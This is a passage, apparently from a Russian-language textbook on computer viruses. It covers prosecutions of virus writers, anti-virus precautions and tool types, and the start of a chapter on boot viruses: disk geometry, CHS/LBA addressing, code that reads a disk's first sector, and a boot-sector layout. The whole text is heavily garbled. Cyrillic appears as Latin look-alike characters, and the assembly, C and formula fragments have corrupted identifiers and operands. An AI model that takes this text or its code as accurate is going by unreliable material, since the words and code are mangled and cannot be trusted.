HC-naHCKan n o J iim n a  BbicjieAH jia  h  apecroBajia Me.xoBeKa, ooB U H iieM oro  

B C03/13HHH H pacnpOGXpaHeHHH HCCKOJIbKHX BapnaHXOB <?TOJie<f)OHHbIX

BHpycoB* Cabir h Commwarrior.
B na'iajie 2009-ro b  KajiHHimrpaje nojuieprjm cyjiy h onrrparfxjBajui 

na 3000 pyo. Hcaaaa'i.TOBoro BiipycomicaTejia flM H T pu a  Y , yM yapH B iiie - 

rocH 3apa3iixb cbohm BiipycoM o ko jio  200 KOMnbioTepoB Ha apyroM Koime 
CTpaHbi -  b b/iaroBemeHCKe1.

Ybm, b cerH 60phob c KHoepKpHMHHajio.M b ochobhom nonaaaiox- 
ch JiHuib BHpycomicaxe.xH-oziHHOHKH, ymep6 ox aeiicxBHH KOTopbtx He 

c-xhuikom BejniK. Xoth  b 2009-2011 roaax 6ujih  npoBejienbi HecKOJibKO 
MaccoBbix nojuimeiicKiix aiCHHH c ynacxneM chjiobhx crpyicryp pa3Hbix 

cxpaH, b pesy.'ibTaTe Koxopwx apecxoBaHbi HecKOJibKO -jecHTKOB qejioBeK, 
->IHKBHAHpOBaHbI HJIH B3HXU IIOA KOHTpOJIb HeCKOJIbKO « 60THeT0B», 3TII- 
mh /teHCTBHHMH 3axpoHyxa Jimub ca.Maa BepxyiiiKa aftc6epra opraHH3o- 

BaHHOH ioi6epnpecxynHocTH.

1 JK ypnajH C TH  6w cTpeH tK O  paa/ty.m  3TO ’ih c jio  m o  «HecKOJii>KHX c o tp h » , i io to m  

n o  «nOHTH TU C fl'!M » H, HaKOHeU, flO «MeCKOJIhKHX TWC3H», npHHCM aaace He «3a-
paacem iHx*-, a «v n H TroacenH hx ».
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Pa3Hbie cTpaHbi. pa3Hbie jikvih, pa3H u e nocjieacTBHH pacnpocTpaHe- 
m isi BHpycoB, pa3Hbie Mepw HaKa3aHHfl. He cjimiiikom jih JiHoepaJibHbi 
npaBOOxpaHHTe.ibHbie h cyaeonbie opraHbi? M H ao6 op o T  -  He cjihiukom 

jih acecTOKO nocTynaioT ohh nopon? U,ejiec006pa3H0 jih npuweHHTb k 

BHpyc0nHcaTejiHM-«030pHHKaM» 3aKOHbi, paccHHxaHHbie Ha BHpyconH- 
caTe.neH-ranrcxepoB *, h  wao6opoi'? Mto KonKpexno Ha^o CTaBiixb aB- 
TOpaM BHpyCOB B BHHy -  nonblTKV COHHHHTb npHMHTHBHHH BHpyC HJIH 

KOHKpeTHUH ymep6?
Cjie/iyeT npH3HaTb: czihhoh tohkh apeHHa Ha 3'ry rrpoS.ieMy He cyme- 

CTByeT. TaKoe noJioaceHne aeji nopoa n03B0JifleT 3/kw:»m  ocTaBarbca 6e3- 
HaKa3aHHMMH, HO AOCTaBJIHeT Maccy HenpHHTHOCTCH MHpHhIM «HCCJieAO- 
BaTeaaM» h «KOJiJieKHHOHepaM» BwpycoB.

OflHaKO nycn> corJiacoBaHiieM ToueK 3peHHH 3anHMaioxcH ropucTH. 
Hac ace 6yayT HHTepecoBaTb TexHH'iecKiie h MaTe.MaTHMecKHe acneKTbi 
4>eHOMena KOMnbroxepubix BiipyeoB.

1.7. 06mne CB6AeHM5i o cnoco6ax 6opb6bi 
C KOMnblOTepHbIMM BHpyC3MH

Oh Mtuji pyKu xojioohou  u zopsmeii eodou, beyuR  
copinoMu Mbuia u cneuuajibHou Muponoznow pK)' 
iu f ii riacmou, m ep  u x  m o h o j ik o u  u  uecKO.ibKit.uu 

tuemouKCLMii pasjiunnou cmenenu JtcecntKocmu.

A. h 5. CTpyraijKHe. «y7iHTKa Ha cic/ioHe»

HecMOTpa Ha to hto onacHocn> BHpycoB bo mhothx  CJiyqa^x hb .m c t c h  

hbho  npeyBe.xHHeHHOH, 6ecKompojibHoe pacnpocTpaHeHHe «3apa3bi» no 

KOMnbjorepaM h cct« m  HenpneMJieMO. IIoaxoMy 6oJibiuoe 3HaMeHVie HMe- 

IOT cnocodbl H Cpe/ICTBa 6opb6bI C KOMrtbKJTepHblMH BHpycaMH.
ripeacfle Bcero hv>kho oopaxnTb BHHMamie Ha Heo6xoj,nMocTb co6jik>- 

aeHHH 3/ieMenTapHbix npaBHJi npocJ)HJiaKXHKH.
Bo-nepBbix, sxo Heo6xo/uiMocxb pesepmwzo Konupoeanun  Han6oJiee 

BaacHoii h neHHon hh(|iopmannn. HHKaKiie Biipycbi h nporpaMMHO-anna- 
parabie c6oh He CTpauiHbi tomv nojibaoBaTejuo, kto peryjinpHo coxpaaa- 
eT pe3yjibTaTbi CBoefi pa6oTU Ha cmchhom BHHHecTepe, Ha neHTOHHbix h 
flHCKOBbix HaKonnTeJiax hjih npocTO Ha ancKexax hjih (jwiaiUKax. Snami- 
TejibHaa nacTb cjsaiLxoB jiio6oh onepannonHon cncTeMbi Toace MoaceT 6biTb 
JierKO BoccTanoBJiena 6e3 nepeiiHCTajixannii, npocruM KonHpoBanneM 
c- «HiicToro» opHTHiiajia.



46 ❖  0 6 iu i/ie  ceeAeHUfi o  KOMnbiOTepHbix a/ipycax

Bo-BTopwx, 3to Hcrio/ibaoBaHHe caMoro oSbiKHoeeHHoro 3ApaBoro 
CMHCJia npn noBce/iHeBHoii pa6 oTe c KOMnbioxepoM. IlpaBHJi He oneHb 
MHOrO, BCe OHH npOCTbl H Jiei’KO Bbmo.lHHMbi:

O  HHKOiyia He ocTaBJiHHTe n i6 KHH ahck itjih CD/DVD b ahckoboac 
npn nepe3arpy3Ke KOMnbroTepa (ccjih s to  He Tpe6 yexcsi b cbh3ii 
c KaKoii-HiiGyab nexpHBHaJibHoii onepanneii rana ycTaHOBKH ho- 
boh onepauHOHHOH cHCTeMu);

O He 3anycKafrre nporpaMMbi ii He 3arpyacaHTe AOKVMCHTbi saBezioMo 
noA03pHTe.nbHoro npoiicxoac/ieHHa (BSMTbie H3 HirrepHeTa, c nH- 
paTCKHX KOMnaKT-flHCKOB h npoHHe);

O  He nocemaHTe HHxepHeT-pecypcbi c 3aBeflOMO coMHineJibHMM co- 
AepaciiMbiM (nopHOcafiTbi, xpaHHJiiima « 6 ecn.naxHbix> My3biKajib- 
HblX H BHfleOtjxiHJIOB, KOJIJieKUHIl CepHHHbIX HOMepOB A-Xfl BOpO- 
BaHHbix nporpaMM h t. n .);

O  He OTKpblBaMTe n0A03pHTeJIbHblX nOMTOBUX BJJ05KCHHH (HanpH
Mep, cfiaH.xoB, Mbe paciuiipeHHe He coBnajiaeT c peajibHMM THnoM), 

Aaace ecJin ohh npHuura no E-mail o t 3HaK0 M0 rc MCJioBCKa;
O  orpaHHHHBaiiTe 6 ecKOHxpo;ihHbiH flocryn k BauieMy KOMnuoTepy 

;ihh, c.nocb6Hbix3aHecTii TVAa «3apa3y» co cbohx HocHTeJieii. ii t. a.
KpoMe Toro:
O  ycTanoBHxe b nojiojKeime « 3amicb b Flash-BIOS 3anpemena>> ne- 

peMMHKH na MaTepiiHCKoii n.xaxe KOMnbioxepa;
O  ycxanoBHxe axpn6yxw 3amHXbi ox aaimcH Ha nau6 o;ice aaxaihix 

cj^afijiax oriepanHOHHOM cncxeMbi h npiiK/TaAHbrx nporpaMM, H a

npiiMep Ha 4>aH.xe NO RM AL.D O T, pacnojioaceHHOM b Kaxa.xore 
iijao.xoHOB TeKcxoBoro npoueccopa MS Word;

O ycTaHOBHTe b no;io;KeHHe «BK.'iJmeito» 4wia?KKH poKHMa 3aiu,nxbi 
o t  ucno.nuem iH  Maicpocob b MS Word;

O  nepeBeAHTe b noJio>KeHHe « 3anncb 3anpeiufna> uiTopKii ii naKJieH- 
kii 3amiiTH o t 3artncii Ha AHCKeTax, n p e ah a3 h ay ch Hbi x ansr xpaHe- 
him peAKO ODHOB.xaeMOH HHcfjopMamm;

O  BKJHOHHTe pe»cnM «Virus protections b BIOS Setup, npeaynpeac- 
AaiomHH n0 ^b3 0BaTeAa o nonbincax 3ariHcn HH(|xjpManmi b cii- 
CTeMHbie 0 6 /iacra BHinecTepa;

O  3anpeTHTe aBT03anycK nporpaMM co cbeMHbix HocHTe.xeii -  CD- 
AHCKOB H «(f>JI3UieK», 3T0 MOJKHO CAeJlaTb BpyMHVKJ B PeeCTpe, 
ahoo ripoHHcTa/i/iHpoBaB cneuHaAbHyio «3anjiaXK\>;

O  ec.Aii KOMnbioTep noAfc'iKweH k  cc-th. bk/hohiitc « 6 paHAMay3p» 
(«4>aHpBOAA»), to  ecTb nporpaMMV, orpaHHHHBaiomyio KaK bxoah- 
myio. TaK fl HCXOAHIHyiO CeTeBJTO aKTHBHOCTb KOMnbiOTepa;
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O earn K0 MnbK>Tep noaK/uoHen k cera, t o  He ocTEBJiHHTe Ha HeM 

o6m eflocTynHbix («p ac m ap e H H b ix ») pecypcos, b  KpafineM cjiynae  

Hcno.<ib3yiiTe b stom  KanecTBe raabKO OTaeJibHbie KaTaJiora;

O He pa6oTaflTe b  onepaqMOHHbix cucTeMax KJiacca Windows 
N'I'/2000/XP/Vista/7 o t  h m c h ii  nojih.'jouaTe/iH c npHBHJierMMH  

• « m h Hh cTpaTopa » , a b  UN IX- no/joonux onepam ioH H bix CHCTe- 

Max c npiiBHJiern5iMH «roo t » ’a.

3 t h  M eToflu  o6m ero  Ha3HayeHiw He ziaroT cTonponeHTfioH rapa im iH . 

HO n03B0JIHI0T CyiljeCTBeHHO CHI13HTb pHCK 3apa*eH HH  KOMIlbKDTepHblM 

BHpyCOM.
OnncaHHbie BbJine no/jxo/ibi He otmch^iot Heo6xo/tfTMOcTH ncno/ib- 

30B3HHH CnemiaJIH3HpOBaHHbIX aHTHBHpyCHHX CpeflCTB -  aHTHBHpyCOB. 
l lo  npHHunny fleiicTBroi amiiBHpycbi jie jis iT cx  m  HecK0JibK0 rpynn.

H an6 o jiee  H3BecTHU h nony.’wpH bi TaK Ha3biBaeMbie aHTHBiipycbi-cKa- 

uepu -  nporpaMMbi, npe/iHasHayeniibiMH jijw o6HapyaceHHa BHpycoB b 

naMHTH, BHyTpH (|)aHJioB h c.TyaceoHbix o6jiacTeii HocHTe.ieii niu|)0[)Ma- 
ijhh . O h h  o&biHHo pa6oTaK)T b «ciiM6ii03e» c airr h bh  py  c a m h - $a<?a.w m -  

nporpaMMaMH, npe/iHaaHa'iemibrMii n jia  yyiajieiufa iisBecTHbix BiipycoB  

H3 3apa*eH H bix  0 6 i>eKT0 B. Taraie «KOMri/TeKcHbie» aHTHBHpycbi Ha3bi- 

BaiOTCH cKim epa.Mu-cpcua.Mu (ecjrn upe/iHaaiiayeHbi jx im  6opb6bi c o/jhhm 

BupycoM )  n;iH cm n e p a M u  -h o jiu (p a u rn u  (ec jn i paccHHTaHbi Ha 6opb6y  

co MHOJKecTBOM pa3JHiHiibix BiipycoB ). IlpHMep c'KaHepa-c})ara: yTMJiirra 

KidoKiller (2009 r.), npe/uiasHaHeHHaa ;vva ooHapyaceHiifl h  yyjajiemiH 

HepBa Kido (o h  >Ke Conficker). IIpHMepbi c Ka h e p a - n o jui cj)a ra : am riBH- 

pycHaa nporpaMMa AidsTest J\. H. JIo3iiHCKoro (1989-1997 rr.) h  co- 
BpeMeHHaH VTH/nrra C.urelT M. /lann.noBa. Ho bosmo^khm h CKaHepbi. 

KOTopbie He HBJiaioTca <J)araMH. h  4>ara, He HBJifljoiniieca cKaHepaMH. 

HanpiiMep, paH ioie Bepciin am riB iipycH oro  naKeTa o t McAfee coctosum  
H3 flByx He3aBHciiMMX K0 Mn0 HeHT0 B: 1) nporpaM M a SCAN tojibko o6na- 
pyaciiBajia BHpycbi b  4>araax; 2) nporpaM M a CLEAN BbinojiHajia jimiib 
onepaiiHio yaa-ieHHM yKa3aHHoro B iipyca H3 cfiafJjia.

3(JxJ>eKTHBH0 TaioKe paooTaioT aHTHBiipycHbie uHcneicmopbi (h a h  duc- 
nem nepu) -  nporpaMMbi, co6npaiom ne CBezieHHH o TeKymeM nporpaM M - 

H0-annapaTH0M coctohhh ii KOMnbiOTepa h pery.M pHO c jie jw m iieaa  BceMH 

H3MeHeHH»MH. 3 t o  no3Bo,weT oGnapyxciiBarb Bee HcicaaceHHH nporpaM M - 
h o h  cpejibi h  4>aH;ioBoii cncTeMbi BHe shbhchm octh o t  Toro, KeM iijih  HeM 

o h h  6bi/ra npoii3BeaeHbi. IlpHM ep: aHTHBHpyc Adlnf /I. K). MocTOBoro 
h B. C. JlaawrHHa.

O rpoM H yio  riojib3V npiiHocaT TaK Ha3HBaeMbie Mouumopbi, KOTopbie 

B pe3H/leHTHOM pejKHMC 1I0CT0JIHH0 OTCJIOKHBaiOT H 6;iOKIlpVIOT BCe BI1-
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pyconoao&Hbie /ichctbhh nporpaM M  h  .rno6bie onepannii c 3apaaceHHbiMH 

oo-beicraMH (HanpHMep, KonnpoBaHire AOKyMCHTOB, 3anycK nporpaMM  

H T. II.). Pa3HOBHflHOCTbIO MOHHTOpOB MO»CHO CHHTaTb (paupeOMJVbl (oHH  

ace 6paH(hiayapu) -  pe3H/ieHTHbie 6jiokhpobiuhkh HecaHKunoHHpoBaH- 
Horo ceTeBoro o6MeHa.

Taicace k aHTHBHpycaM mojkho oTHecTH eaKU,UHamopu -  nporpaMMbi, 

BHfl0H3MeH5iioiuHe nporpaMMHo-annapaTHyio cp eay  th rum  06pa30M , hto 
BHp yc He MoaceT pa6oTaTb.

BO-'IbHIHHCTBO COBpeMeHHbIX aHTHBHpyCHbIX npOflyKTOB COBMemaiOT 

b  ce6e pa3.nHHHbie (Jjv h k u h h .



TAABA

3arpy30H H bie Bupycbi
B CHCTeMHbIX OOHaCTHX flHCKOBblX VCTpOHCTB -  BHHHeCTepOB H AHC- 
kct -  npHcyTCTByioT cnemia.nbHbie nporpaMMHhie komtioheHTM, o6ecne- 
HHBaioiuHe HaHajibHvio 3arpy3Ky onepanHOHHbix ciicTeM. BpeflOHOcm>ie 
nporpaMMbi, 3apaacaioiuHe 3th nporpaMMHbie KOMnoHeHTbi, H3BecTHbi 
c 1986 r. -  ohh Ha3biBatoTCH 3aepy30HHbiMu iijih boot-eupycciMu. 3 to t  ran 
KOMnbicTepHOH «apa3bi> jiocTaBJiMJi HeMajio xjionoT n0Jib30BaTejuiM 
1980- 1990-x roaoB. ho b hobom BeKe, KaaaJiocb, 6bui ^oKOHHaTejibHO no- 
6eac;ieii» h «BbiMe[)>>. OjmaKO b nocjie/tHHe rojlbi noHBHjmcb oqeHb cjioac- 
iibie h onacHbie Bpe/i0H0CHbie nporpaMMbi, Hcnojibayiormie b tohhocth 
xe ace TexHOJioriiH, -  *6ymmmt>t». M, cyan no bccmv, hx ncxopiia Tojibico
naHHHaeTCH.

2 .1 . T e x H M H e c K a n  M H cJ )opM aL iM 5 i

...Bceio-mo e m u dea Medubtx ducxa c m u  hoc 
o.iiooue... H em , pe6sim a, msotceno strrnj m m y - 

Ky onucanib, earn  %mo m  euaen, o ve n b  yotc o m  

npocma na (rub...

A. h B. CrpyranKJie. «nmcHHK Ha o6ohhhc»

J Ijih noHHMaiiim npHHiranoB c^ymamoHiipoBamiH 3arpy30MHUx BHpycoB 

Heo6xOflHMO pa300paTbCH B yCTpOHCTBe flHCKOBblX HOCHTeJieH H B TOM, 
KaKHM 06pa30M nocjie bkjhohchiih KOMnbiOTepa npoiicxoflHT 3arpy3Ka h 

3anycK onepamioHHbix chctcm.
Bee AHCKOBbie ycTponcTBa HMeioT e/niHyio «reoM eTpnio»1. O ie n b  rpy- 

6o h ynpomeHHO ahckoboc ycTpoftcTBO mojkho npeacraBHTb b BHfle na- 
KeTa KpyrJiux nJiacraH, Hacaaceniibix Ha o6iyyio ocb (cm. puc. 2.1). Ha 
noBepxHQCTb njiacnm  HaHeceH MamHTHbiii cjioh, KOTopuii xpaHHT hh-

1 3/iect He paccM a T p m a ioT ca  CD/DVD h jih  «<J>ji3iu k h ». 3apaaceHHe h x  bo3m ox- 

ho, h o  n a  npaKTHKe He BCTpeuaeTca.
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P k c . 2 .1  ❖ /lornnecKafl opraHM3ai4HH
AMCKOBOrO ycTpoWcTBa

(|)opMannio. 3anHCbiBaeMyio hjhi c-jnTLiisae.Myfo npii iiom ouui MarmiTHbix 

TOJIOBOK, KOJIHHeCTBO KOTOpbIX paBHO KOJIHHeCTBy paOOMHX nOBepXHO- 
CTefi. H a BHHHecTepax, KaK npaBHJio, npricyrcTByioT HecKOJibKO pa6o4nx 

noBepxiiocTeii, a Ha a iicK erax  TOJibKO m e :  u y j im n a  h  nepBaa.

y'iacTKii /ihckoboh noBepxHocTH, npevniaaHaqeniihn; ajlh xpaHeHHH 

IiHcJxjpMaUHH, o6pa3VK>T pa3 KOHUeHTpiIHeCKHX OKpyaCHOCTeH -  d o p o -  

m xk  ( m pexoe). CaMaa G jum naa k BueuiHeMy Kpaio AHCKa AopoacKa iiMeeT 

Howep 0, cjieayroxnaa -  HOMep 1 h t. a. Ha /uicKerax kojihhcctbo AopoaceK 

6biBaeT 40 hjih 80, Ha BiiHMecTepax thuhmhoc: kojihhcctbo -  HecKOJibKO 

coTeH hjih TbicaM. CoBOKynHocTb Bcex aopojKeK, paBHoyaa.TieHHbix ot 

och h pacno/io>KeHHWX Ha Bcex pa6o4Hx rioBepxnocTax, hocht Ha3Ba- 
HHe v,uJiUHdpa. Ka>KZiaa MaraHTiiaa aopojKKa pa36HTa Ha pa# ceKmopoe, 
Hj'MepyeMbix or 1 h ao M a K c im iv ib no ro  3na^eHMH, KOTopoe o jih  jjhckct 

cocTaBJiHeT 9,15 hjih 18, a fljia BHHMecTepoB socTHraeT HHoiyia HecKOjib- 
khx coTeH. n o  vMOJiuaHiHO b ceKTop cTaHflapTHoro pa3Mepa bo3,mo>kho 

3anHcaTb 512 6aiiT micJjopMauHH.
Jh o6 o ii ceKTop mojkho 0flH03na4H0 HaeHTii^HmipoBarb, 3a/iaB Tpoii- 

Ky {uHJiHHap, ro/ioBKa, ceicrop}. HanpHMep, ca.MWH nepBbifi ceKTop Ha 

AHCkobom ycTpoiicTBe, b kotopom  pacnoJtaraeTca KpoxoTHaa nporpaMMa 

na'ia.iibHoii 3arpy3Kn, HMeeT KoopflHHaTbi {0 ,0 ,1 } ;  nepBuii ceKTop BTopoS 

no c-ieTy to jiob k h  {1 ,0 ,1 }; nepBbifl ceKTop BToporo no CMeTy UHJiHiuipa 

{0 ,1 ,1 } h t. n. TaKOH cnoco6 HVMepoBanHa ceKTopoB xapaKTepeH
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CHS-adpecaUjUU (o t  aura, cylinder -  nmum/ip, head -  rojioBKa htchhh- 
3anncn, sector -  ceKTop).

CymecTByeT h apyroii cnocoo azipecamw KOHKpeTHoro ceKTopa. Mo;k- 
Ho npHCBOHTh cTapTOBOMy ceKTopy /incKa HOMep 0, cjreayKJmeMV 3a hhm 1, 
noTOM 2 n T. &. TaKan «a6coJnoTHaa» aapecauHH ceKTopoB hocht HaiiMeHo- 
BaHHe LB A  (ot anr-'i. Logical Block Address -  JIonwecKHii aapee GiiOKa). 
CDopMy//a nepec'iera H3 CHS b LBA BbinwAHT cjieflyromii.M 06pa30M: 
Nlba = NsNhc + Msh + s - l ,

me Nlba -  aficojiioTHbiH HOMep ceKTopa (Hamffiaa c 0); Ns -  KOJiHHecrBo 
ceKTopoB na aopoacKe; Nh -  kojihhcctbo ro/iOBOK (pa6onnx noBepxHO- 
CTeii); c, h u s -  HOMep aopoacKH, HOMep tojiobkh h HOMep ceKTopa Ha 
aopoacKe C0 0 TBeTCTBeHH0 . Hmchho LBA ncnojib3yeTCH Ha coBpeMeHHbix 
BHHHecTepax 6ojibiiioro o6teMa, ho b anoxy pacimeTa 3arpy30HHbix BHpy
coB no'iTH Bceraa npnMenaJiacb «TpoiiHHajr» CHCTeMa a/ipecaUHH.

PaooTa c ancKOBhiM ycTpoiicTBOM nepe3 Koirrpo.-i.aep jiucKOBO/ia m m  

BiiHMecTepa aoBoatHo cjioacHa. IloaroM y b ROM  BIOS KaJKjoro PC - 
coBMecTHMoro KOMnbiOTepa 3anncaHbi CTanflapTHbie npoueflypbi, ooec- 
neMHBaiomue aoeryn k /hickobum ycrpoiicTBaM. Bojim iihhctbo cTapbix 
ciicTeMHwx m upHfuia/uibix n p o rp a M M , b tom hhcjic h HeKOTopbie onepa- 
mioHHbie cncTeMbi (nanpHMep, M S-DOS), nojib3yjOTca npn oopameroiH 

k aacKaM HMeimo npoueaypaMii BIOS. CoBpeMeHHbie >Ke onepaunoHHbie 

cncTeMbi (Windows, iciohh UNIX h t. n.) o6pamaiOTca k BIOS hckjijo- 
nHTe/ibiio pe/iKO. npeanoHiiTaa pa6oTarb c KoirrpojuiepoM ycTpoficTBa Ha- 
npflMyro. TeM He MeHee Ha>iajibna>i 3arpy3Ka ju o o u x  oriepauHonnbix cii- 
CTeM ao chx nop B03M0>Kna TGJibKo cpeacTBaMH CTaimapTHbix npone/iyp 
BIOS, h hhksk HHane1.

/locTvn k  /uicKOBbiM npoue/iypaM BIOS B03M0acen nepers nporpaM M - 
Hoe npepbiBaHne 13h. TaioKe 3th nponeaypbi ( b toh nacTH, KOTOpaa Kaca- 
eTca pa6oThi c /iHCKeTaMH) HMeroT eme oany tohkv Bxo/ia -  qepe3 npepbi- 
BaHHe 40h. MHTepecHo, hto oopa6oTHHK npepbiBaHHK 40h pacnojiaraeTca 
b ROM  BIOS npaKTHHecKH Bceraa no a/jpecy F000h:EC59h. ripHBeaeM 
npHMepw HTeHiia c BHHnecTepa coaep>KHMoro 3arpy30HHoro ceKTopa 
c aapecoM {0,0,1} c HcnoJibsoBanneM btoh npoueaypw.

BapwaHT Ha Ji3MKe AcceM6jiepa b MS-DOS:

B V  atl. 2 ; KOMaHfla "NHTaTb C0KTOD"
mov si. 1 ; Kojwhsctbo HUTaeMbi* ceKTopoB paeno 1

1 n.JiaHitpyeTCH, h to  n epcn eK T H B H H eapxm eicryp M  H a 6a3e  cnenjiijjiiKanM H  EF1/ 
UEFI o6ofiz{yTCH 6ea BIOS.
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n̂ov cr*, 0

?r,ov c i ,
®OV dhv 
rnov d l ,  
rnov es, 
mov ox, 
i n t  I3h

1
0
80 h
SEG B u ffe r  
OFFSET B u f fe r

HoMep unflMHflpa paesH 0; orapains guru  Muc/ia 
MoryT oasMeajaibOH b ol 
Homsp 4HT3eMoro ceKTopa paeen 1 
HoMep ronoBKsi paeew 0
80n -  ko a  BMHMeoTepa, O n ’ -  akc^s t  A: m B: 
CerMenr 5y<t>epa ashhux 
CweuieHMe 6y0epa aaHHHx
COOCTBSHHO BbinO/!H8HM8 OnepaqHW 4T!?HWB

BapnaHT Ha H3biKe Ch b  MS-DOS:

cad = 2; .// KoM6Mfla "MuTaTb ceicrop"
nsecs=l; // KoflHMSCTeo MHTawwx c e rro p o B  paeno 1
tra c k = 0 ; / /  HoMep un/iMHapa paeeH 0
sectoral; // HoMep MMTaeworo ceicropa pa sen 1
head = 0; / /  Homsp po/iobkm paeen 0
d r iv e  = 0x80; / /  80h -  koa nepsoro B M H w repa; KOfiu 0 m 1

/ /  cooreercTBywr flwc«3soaaM A: u B: 
r e s u lt= b io s d is k (c * ( j,  d r iv e , head, t ra c k , s e c to r , nsecs, B u f) ;

B03M02KH0 3T0 II  B /ipVrMX OnepaiHlOHllHX CHCTCMaX. BoT KaK MO/KUO 

npoH iiraTb ceKTop micKoisoro ycnpoHCTBa b Windows 9X:

# d e fin e  WIN32...DI0C_DQS„IHT13 4 
ty s e d e f s t r u c t  OIOCRegs {

DWORD reg_EBX;
DviORD reg_E0X;
DWORD reg_EGX;
DWORD reg_EAX;
DWORD reg_E 0I;
DWORD reg_ESI;
DWORD re g .F la g s ;

QIQC_REGISTERS, «PDr0C_HEGrSTE3S;

DIQC.REGISTERS r;

HANDLE h -  Crea t e F i l e f 'W W  \ \v w in 3 2 ',  0, 0,
NULL, 0, FILE_FLAG_DELETF_0N_CLOSE, NULL);

r.reg_E A X -0x201 ; 
r . reg_EBX=(DWORD) &Buf; 
r.reg_ECX=0x0001; 
r.reg_EDXr 0;
D e v ic e lo C o n tro lfh , WIN32_DI0C_D0S_INT13, &r,

s iz e o f ( r ) ,  & r, s iz e o f ( r ) ,  &n, 0 ) ;

Bo3Mo»:ho 3To h b Windows-ceMeifcTBax NT:

BYTE m b r[5 12 ]; DWORD dwRead;
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HANDLE nD isk = C re a te F i le ( " \ \ \ \ .W P h y s ic a lD r iv e O ” , GENERIC_READ,
FILE_SHARE_READ, NULL, 0PEN_EXISTING, 0, NULL); 

R e a d F ile th O isk , &mbr, 512, MwRead, NULL);

A b o t  npHMep aJia Unix-nojioSnbix onepauHonHbix c h c t c m :

I n t  f ;  unsigned char b u f[5 !2 1 : 
f= o p e n (" /d e v /h d a " , 0_RD0NLV); 
re a d ( f, bu f, 512);

Cpa3y nocjxe BKJnoHenna im T a im a  KOMribroxepa nponcxoziHx annapaT- 
hnh c6poc Bcex ycTpoiicTB, a chcthhk KOMan/i ycTaHaBiiMBaexcfl Ha Ha- 
yajio Koaa nporpaMMbi POST, icoTopaa pa3MemaeTca b  3anpemeHH0M fljia 
3anHCH pernoHe aapecHoro npocxpaHCTBa BMecTe c BIOS. 3Ta nporpaMMa 
TecrapyeT o6opyaoBaHHe, npoH3BojHT, ec/m hv>kho, ero nporpaMMHyio 
HHHUHaJIH3aiIHIO, a BC.Hea 3a 3THM HaHHHaeT HCKaTb aKTHBHOe /(HCKOBOe 
yCTpOHCTBO, C KOTOporo B03M05KH3 3arpy3Ka, -  BHHMeCTep HJIH AHCKeXy.

B BecbMa peflKOM c/iynae, Kor/ia hh o/iHoro noaxoflamero ycTpoficTBa 

ne HaiiaeHo, <;ioncTopH'iecKHe» IBM PC 3arpyaca;iH KaccexHyio (p ac - 

nojioaceHHyio b FI3y) Bepcnio HHTepnpeTaTopa a 3MKa BASIC, nrpaB- 
iuyio po.xb BcxpoeHnoH onepamioHHoii chctcmm. Eojiee noa/LHHe nepco- 
najiKH b 3tom  cjiyyae npocxo H3Bema„ra: <5NO ROM BASIC, SYSTEM 
HALTED*. C’oo6iuenn5i, BbiaaBaeMbie 3arpy30MHbj\i 6jiokom  coBpeMeH- 
Hbix KOMnblOTepOB, MOl'VT 6blTb pa3JIHHHbIMH.

B coBpeMeHHHX Bepcuflx nporpaMMbi SETUP ecxb onmia, HHcxpyK- 
Tiipyiomaa nporpaMMy POST Haluinaxb noHCK ndxennHajibnoro hochtc- 
na onepanHOHHOH chctcmm ;ih6o c flHCKeTbi, jih6o c BHHMecTepa, juiSo 
Boo6me HrHopupoBaTb KaKne-Jin6o ycrpoHcrBa. Ho b jik>6om c.ayyae 
nporpaMMa POST crapaeTca flo6paTbca flo Kaicoro-HH6yflb flHCKOBoro 
ycTpoHCTBa, npoMHTaTb ceicrop {0,0,1}, 3arpy3HXb ero co/tep>KHMoe b 0 3 Y  
no acecTKo cJjuKcupoBaHHOMy aapecv 0:7C00h ii nepeaaTb xy^a ynpaBJie- 
Hue. C 3Toro MOMema BIOS KOMnbroTepa croiMaeT c ce6a bchkjto otbct- 
CTBeHH0CTb 3a xofl nponecca 3arpy3Kii.

B 33BHCHM0CTH OT TOTO, C /IHCKeTbl HJIH C BHHHeCTepa np0H3B0flHTCS 
3arpy3Ka, co/iep>KHMoe ceKTopa c a/tpecoM {0,0,1} pa3jiHHH0. Pas.xwHHbi h 
caenapHH nponecca 3arpy3KH OnepanHOHHOH chctcmm.

2.1.1. 3arpy3Ka c flMCKeiw
IlpeanojioaKHM, wo nporpaMMa POST nauiJia b  KapMaHe AHCKOBOjja A: 
KaKyro-TO flHCKeTy. B stom  cjiynae, npoMHxaa ceKTop {0,0,1}, OHa 3arpy3Hx 

b  naMHTb TaK Ha3biBaeMbiH boot-ceKTop. Co/iepjKHMoe ero mojkct 6biTb
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pasjiHHHLiM /pm /iMCKer, OTCpopMitTHpoBitHHbix n p a  ijomouih pa3Hbix n p o 

rp aM M , t h k h x  K aK  MS Format, FFormat A. IU a M a p o K O B a , Central Point 
PC Toools h  npoHne. Ho o6m a» c T p y ic r y p a  boot-ceKTopa ( c m .  piic. 2.2a) 
h  4>v h k u h h  c o fle p M c a m e iic f l b  HeM n p o rp a M M b i-3 a rp y 3 H iiK a  CTamiapTH30- 
BaHbi:

org  0
S ta r t :

jnip s h o r t  Be g in  
nop

; Taow ua napaMerooe m uckstu

0£M_IQ db 8 dup (? ) ID i))opMaTHpyweii nporpaMMH
S e cS iz dw 9 Pas.Mep ceKTopa s Santax
C lu S iz db 9 PasMep KJiaciepa b ceniopax
ResSec dw 9 Hiic.no 3ape3epenp0BaHHux ceicropoB
FATs db ? Mnc.no FAT Ha flHCKe
ROOTSiZ dw 9 Pa3Meo KopHeeoro KaTa/iora
Nsecs dw 9 no/woe mmcjio ceKTopoB
yediaD sc db db o BaPsTOBfaiPi 10 onwcamw HOcwTena:

OFOh -  ancKeia 1 .44  M6; 0F8h -  
#eCTKtt» av‘CK >1 npOM66

FATSiz dw '> Paswep Ka*floro FAT e cexropax
; Dojis, iicno;ib3yeMNe MS-DOS Bepcntf cTsDiue 3 .0
T rk S iz dw ? HiiCiio oekTopoe m3 nopo*Ke
Nheads dw 0 Hiicno rowsBOK
; Hons, ncnu^b3yeMHe MS-DOS aepenii ciapiiie 4 .0
HidSecs od ? MHC.no ot.pfeTnx cetcropos
V o lS iz dd 9 (lonHoe Miic/io csktopos

C rivN u if db 9 Hom®p ^M3HweoKoro yc ip -e a
Reserved db V
E xtS ig db 29n npn-iH3K paw p e H H o ro  sarpy
Vo.Ss.'H -- dd 0 CSpM0HWii HOMSp TOMS
V o lLabe l dt: 11 dup (?) HeTKS TOM3
FSysIO db 6 dup (? ) CrpOKa -  tun  (eR/ioBoB cmctbmm

; H aM a/io  nporpaM M bi s a rp y ^ K M  cnepauMOHHOft c u c tb m ii 

